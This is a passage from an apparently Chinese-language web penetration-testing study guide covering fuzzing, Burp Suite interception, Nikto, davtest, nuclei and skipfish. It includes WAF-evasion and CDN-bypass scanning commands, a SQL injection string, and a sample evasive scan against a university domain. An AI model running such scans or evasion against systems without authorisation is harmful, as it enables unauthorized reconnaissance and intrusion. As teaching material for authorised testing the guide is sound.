&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z range,0-100 --slice &lt;span class="s2"&gt;&amp;#34;skip 10; take 5&amp;#34;&lt;/span&gt; http://target.com/?id&lt;span class="o"&gt;=&lt;/span&gt;FUZZ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725182704013" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725182704013.png"&gt;&lt;/p&gt;
&lt;h4 id="-高级规避技巧"&gt;🛡️ &lt;strong&gt;高级规避技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流量伪装术&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 随机化请求特征（防止WAF指纹识别）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w wordlist.txt -u http://target.com/FUZZ -H &lt;span class="s2"&gt;&amp;#34;X-Forwarded-For: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;分布式扫描架构&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用Redis协调分布式节点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster --redis 192.168.1.100:6379 -u http://target.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CDN穿透策略&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通过真实IP扫描（Censys获取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://203.0.113.5 -H &lt;span class="s2"&gt;&amp;#34;Host: target.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-burp-suite-基础安装配置"&gt;🔧 ​&lt;strong&gt;​Burp Suite 基础安装配置​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​安装启动​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Kali默认安装社区版，专业版需官网下载
burpsuite # 启动
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="BurpSuit" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144118876.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​初始化选项​&lt;/strong&gt;​：选择 &lt;code&gt;Temporary Project&lt;/code&gt; → &lt;code&gt;Use Burp defaults&lt;/code&gt; → &lt;code&gt;Start Burp&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144213879.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144236416.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;​&lt;strong&gt;​代理设置​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;默认监听：&lt;code&gt;127.0.0.1:8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;关闭拦截：&lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;Intercept&lt;/code&gt; → ​&lt;strong&gt;​Intercept is off​&lt;/strong&gt;​（避免手动转发每个请求）
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144330598.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;​&lt;strong&gt;​浏览器代理​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​Firefox扩展​&lt;/strong&gt;​：安装 &lt;code&gt;FoxyProxy Basic&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置路径：扩展图标 → Options → Add&lt;/li&gt;
&lt;li&gt;参数：&lt;code&gt;Type: HTTP&lt;/code&gt;, &lt;code&gt;IP: 127.0.0.1&lt;/code&gt;, &lt;code&gt;Port: 8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​启用代理​&lt;/strong&gt;​：选择 &lt;code&gt;Use proxy Burp for all URLs&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144541331.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-https抓包解决方案"&gt;🔐 ​&lt;strong&gt;​HTTPS抓包解决方案​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;​&lt;strong&gt;​步骤​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​操作​&lt;/strong&gt;​&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​1. 导出证书​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Burp → &lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;Options&lt;/code&gt; → &lt;code&gt;Import/export CA certificate&lt;/code&gt; → 导出&lt;code&gt;DER&lt;/code&gt;格式&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​2. 导入浏览器​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Firefox → 设置 → 隐私与安全 → 证书 → 导入 → 勾选&lt;code&gt;信任此CA&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​3. 关闭干扰​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Firefox地址栏输入&lt;code&gt;about:config&lt;/code&gt; → 设置&lt;code&gt;network.captive-portal-service.enabled=false&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;⚠️ ​&lt;strong&gt;​证书更新​&lt;/strong&gt;​：若报错需在Burp中&lt;code&gt;Regenerate CA certificate&lt;/code&gt;并重新导入&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144633405.png"&gt;&lt;/p&gt;
&lt;h4 id="-核心功能模块"&gt;🛠️ ​&lt;strong&gt;​核心功能模块​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;​&lt;strong&gt;​模块​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​作用​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​实战场景​&lt;/strong&gt;​&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Proxy​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;流量拦截/修改&lt;/td&gt;
 &lt;td&gt;1. 拦截请求修改参数（如越权测试） &lt;br&gt;2. &lt;code&gt;HTTP History&lt;/code&gt;查看历史请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Repeater​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;请求重放测试&lt;/td&gt;
 &lt;td&gt;1. 右键请求 → &lt;code&gt;Send to Repeater&lt;/code&gt; &lt;br&gt;2. 修改参数重放（如SQL注入&lt;code&gt;' OR 1=1--&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Intruder​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;自动化参数爆破&lt;/td&gt;
 &lt;td&gt;1. 定位攻击点 → &lt;code&gt;Add §&lt;/code&gt; &lt;br&gt;2. 载入字典爆破（如密码/目录）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Scanner​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;漏洞扫描（仅专业版）&lt;/td&gt;
 &lt;td&gt;自动检测SQLi/XSS等漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144708523.png"&gt;&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-高效操作技巧"&gt;⚡ ​&lt;strong&gt;​高效操作技巧​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​快速定位关键请求​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;HTTP history&lt;/code&gt; → 筛选&lt;code&gt;Method&lt;/code&gt;或&lt;code&gt;Status&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​绕过强制门户检测​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Firefox设置&lt;code&gt;network.captive-portal-service.enabled=false&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​多请求并行测试​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;发送多个请求到&lt;code&gt;Repeater&lt;/code&gt;，独立选项卡管理&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​结果对比分析​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Repeater&lt;/code&gt;中启用&lt;code&gt;Compare&lt;/code&gt;功能对比两次响应差异&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-重要注意事项"&gt;📌 ​&lt;strong&gt;​重要注意事项​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​OSCP考试限制​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​禁止使用Burp Suite Professional​&lt;/strong&gt;​（但考试无需高级功能）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​移动端抓包​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 开启IP转发
sudo sysctl -w net.ipv4.ip_forward=1
# 配置流量重定向
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
&lt;/code&gt;&lt;/pre&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​资源占用优化​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;User options&lt;/code&gt; → &lt;code&gt;Memory&lt;/code&gt; → 调至&lt;code&gt;1024MB&lt;/code&gt;防崩溃&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-nikto-使用指南"&gt;🔍 ​&lt;strong&gt;​Nikto 使用指南​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​
​&lt;strong&gt;​核心定位​&lt;/strong&gt;​：&lt;br&gt;
开源 ​&lt;strong&gt;​Web服务器漏洞扫描器​&lt;/strong&gt;​，专用于快速发现服务器配置错误、危险文件和版本漏洞。&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​核心功能​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​风险检测​&lt;/strong&gt;​：扫描 6,800+ 种危险文件/程序（如 &lt;code&gt;/admin.php&lt;/code&gt;、&lt;code&gt;/backup.zip&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​配置审计​&lt;/strong&gt;​：检查缺失的安全头部（如 &lt;code&gt;X-Frame-Options&lt;/code&gt;）、暴露目录&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​版本漏洞​&lt;/strong&gt;​：识别过时的服务器软件（如 Apache 2.2.22 已停止维护）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​敏感信息​&lt;/strong&gt;​：查找 &lt;code&gt;robots.txt&lt;/code&gt;、&lt;code&gt;/phpinfo.php&lt;/code&gt; 等敏感路径&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;​&lt;strong&gt;​技术特点​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⚠️ ​&lt;strong&gt;​非隐蔽扫描​&lt;/strong&gt;​：主动发送大量请求，User-Agent 中会暴露 &lt;code&gt;Nikto&lt;/code&gt; 标识&lt;/li&gt;
&lt;li&gt;🚀 ​&lt;strong&gt;​快速覆盖​&lt;/strong&gt;​：适合初步资产风险排查&lt;/li&gt;
&lt;li&gt;⏱️ ​&lt;strong&gt;​支持限时扫描​&lt;/strong&gt;​：避免长时间占用资源&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-基础使用命令"&gt;⚙️ ​&lt;strong&gt;​基础使用命令​&lt;/strong&gt;​
&lt;/h4&gt;&lt;h5 id="1-最小化扫描快速启动"&gt;​&lt;strong&gt;​1. 最小化扫描（快速启动）​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com # 扫描目标域名/IP
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="2-控制扫描时间"&gt;​&lt;strong&gt;​2. 控制扫描时间​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -maxtime 30s # 30秒后强制终止
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="3-精细调优检测项"&gt;​&lt;strong&gt;​3. 精细调优检测项​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -T 2 # 仅检查危险文件和目录
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​常用调优参数 &lt;code&gt;-T&lt;/code&gt; 代码表​&lt;/strong&gt;​：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;代码&lt;/th&gt;
 &lt;th&gt;检测类型&lt;/th&gt;
 &lt;th&gt;适用场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;文件上传漏洞&lt;/td&gt;
 &lt;td&gt;检查可写目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;日志文件泄露&lt;/td&gt;
 &lt;td&gt;查找 &lt;code&gt;/logs&lt;/code&gt;、&lt;code&gt;/access.log&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;危险文件/目录&lt;/td&gt;
 &lt;td&gt;扫描 &lt;code&gt;/admin&lt;/code&gt;、&lt;code&gt;/backup&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;信息泄露&lt;/td&gt;
 &lt;td&gt;检查配置文件、版本信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;注入漏洞（SQL/XSS）&lt;/td&gt;
 &lt;td&gt;初阶注入点探测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id="4-绕过基础防护"&gt;​&lt;strong&gt;​4. 绕过基础防护​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -evasion 1 # 使用URL编码绕过WAF
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​躲避技术代码表​&lt;/strong&gt;​：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;代码&lt;/th&gt;
 &lt;th&gt;技术描述&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;随机URL编码&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;自选目录分隔符（&lt;code&gt;/&lt;/code&gt;→&lt;code&gt;/./&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;伪造请求结尾（&lt;code&gt;%20HTTP/1.0&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-实战输出解析示例"&gt;📊 ​&lt;strong&gt;​实战输出解析示例​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://www.megacorpone.com -T 2 -maxtime 120s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728151219306.png"&gt;&lt;/p&gt;
&lt;p&gt;​
&lt;strong&gt;​关键结果解读​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. **服务器信息**：Apache/2.4.62 (Debian) 
2. **高危漏洞**：缺失防点击劫持头(X-Frame-Options) 
3. **中危漏洞**：未设置内容类型头(X-Content-Type-Options) 
4. **敏感泄露**：robots.txt暴露可访问文件`/nanites.php` 
5. **信息泄露**：ETag头可能泄露文件指纹(CVE-2003-1418) 
6. **扫描中断**：120秒时限到期，未完成检测
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="-使用注意事项"&gt;⚠️ ​&lt;strong&gt;​使用注意事项​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​隐蔽性问题​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;扫描特征明显，企业环境可能触发告警&lt;/li&gt;
&lt;li&gt;建议在授权测试或外围资产扫描时使用&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​不验证漏洞可利用性​&lt;/strong&gt;​（需手动复现）&lt;/li&gt;
&lt;li&gt;无法检测业务逻辑漏洞（如越权支付）&lt;/li&gt;
&lt;li&gt;大型电商站点可能需数小时 → 务必用 &lt;code&gt;-maxtime&lt;/code&gt; 限时&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-进阶组合技巧"&gt;🛠️ ​&lt;strong&gt;​进阶组合技巧​&lt;/strong&gt;​
&lt;/h4&gt;&lt;h5 id="场景快速排查学校官网风险"&gt;场景：快速排查学校官网风险
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 限时60秒，只查高危项，绕过基础WAF
nikto -host http://university.edu -maxtime 60s -T 0234 -evasion 13
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="场景与-curl-联动验证漏洞"&gt;场景：与 cURL 联动验证漏洞
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. Nikto发现可疑路径
[+] /backup.sql.gz found

# 2. 用cURL手动验证
curl -I http://target.com/backup.sql.gz
HTTP/1.1 200 OK # 确认文件可访问
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="-总结"&gt;💎 ​&lt;strong&gt;​总结​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产普查阶段的​&lt;strong&gt;​服务器风险初筛​&lt;/strong&gt;​&lt;/li&gt;
&lt;li&gt;合规性检查（如安全头部、版本生命周期）&lt;/li&gt;
&lt;li&gt;红蓝对抗中的​&lt;strong&gt;​外围打点侦查​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​&lt;strong&gt;​替代方案​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 需隐蔽扫描 → 使用 dirsearch + 随机UA 
# 需深度检测 → 结合 Burp Suite 手动测试 
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="kali中的其他网络漏洞扫描工具"&gt;Kali中的其他网络漏洞扫描工具
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728152811414.png"&gt;
根据您提供的图片信息，以下是对截图中的​&lt;strong&gt;​除Nikto外​&lt;/strong&gt;​的六个安全测试工具的介绍、用法及核心优势：&lt;/p&gt;
&lt;h4 id="1-davtest"&gt;​&lt;strong&gt;​1. davtest​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
测试 WebDAV（基于HTTP的文件传输协议）服务器的配置安全性，探测其支持的方法（如PUT/DELETE）是否存在漏洞。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;davtest -url http://target.com/webdav/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​自动上传恶意文件​&lt;/strong&gt;​：尝试上传WebShell（如.jsp/.php）测试执行权限。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​方法枚举​&lt;/strong&gt;​：用 &lt;code&gt;-move&lt;/code&gt; 和 &lt;code&gt;-sendbd auto&lt;/code&gt; 自动测试文件上传+移动漏洞。&lt;br&gt;
​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;br&gt;
快速检测可写WebDAV目录和危险方法（如PUT）开放情况。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162202242.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-nuclei"&gt;​&lt;strong&gt;​2. nuclei​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
基于YAML模板的​&lt;strong&gt;​高速漏洞扫描​&lt;/strong&gt;​工具，社区提供数千预置模板（CVE检测、配置错误等）。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nuclei -u http://target.com -t cves/ -severity critical
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​批量目标扫描​&lt;/strong&gt;​：&lt;code&gt;nuclei -list urls.txt -t exposures/configs/&lt;/code&gt;（结合子域名枚举结果）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​自定义模板​&lt;/strong&gt;​：快速编写YAML规则检测0day或内部系统漏洞。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​海量模板+高并发​&lt;/strong&gt;​：单机每秒处理数百请求，适合全网段资产快速筛查。
==推荐模板全家桶仓库：==https://github.com/emadshanab/Nuclei-Templates-Collection/&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="3-skipfish"&gt;​&lt;strong&gt;​3. skipfish​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​主动爬取式扫描器​&lt;/strong&gt;​，生成交互式报告，擅长检测注入、XSS等Web漏洞。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;skipfish -o ./report http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​深度扫描​&lt;/strong&gt;​：&lt;code&gt;-I /api/&lt;/code&gt; 限定路径避免爬虫过载。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​误报调优​&lt;/strong&gt;​：用 &lt;code&gt;-l xss,exec&lt;/code&gt; 仅扫描高风险漏洞类型。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​动态语法分析​&lt;/strong&gt;​：模拟执行JavaScript，优于静态爬虫（如dirb）。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162438467.png"&gt;&lt;/p&gt;

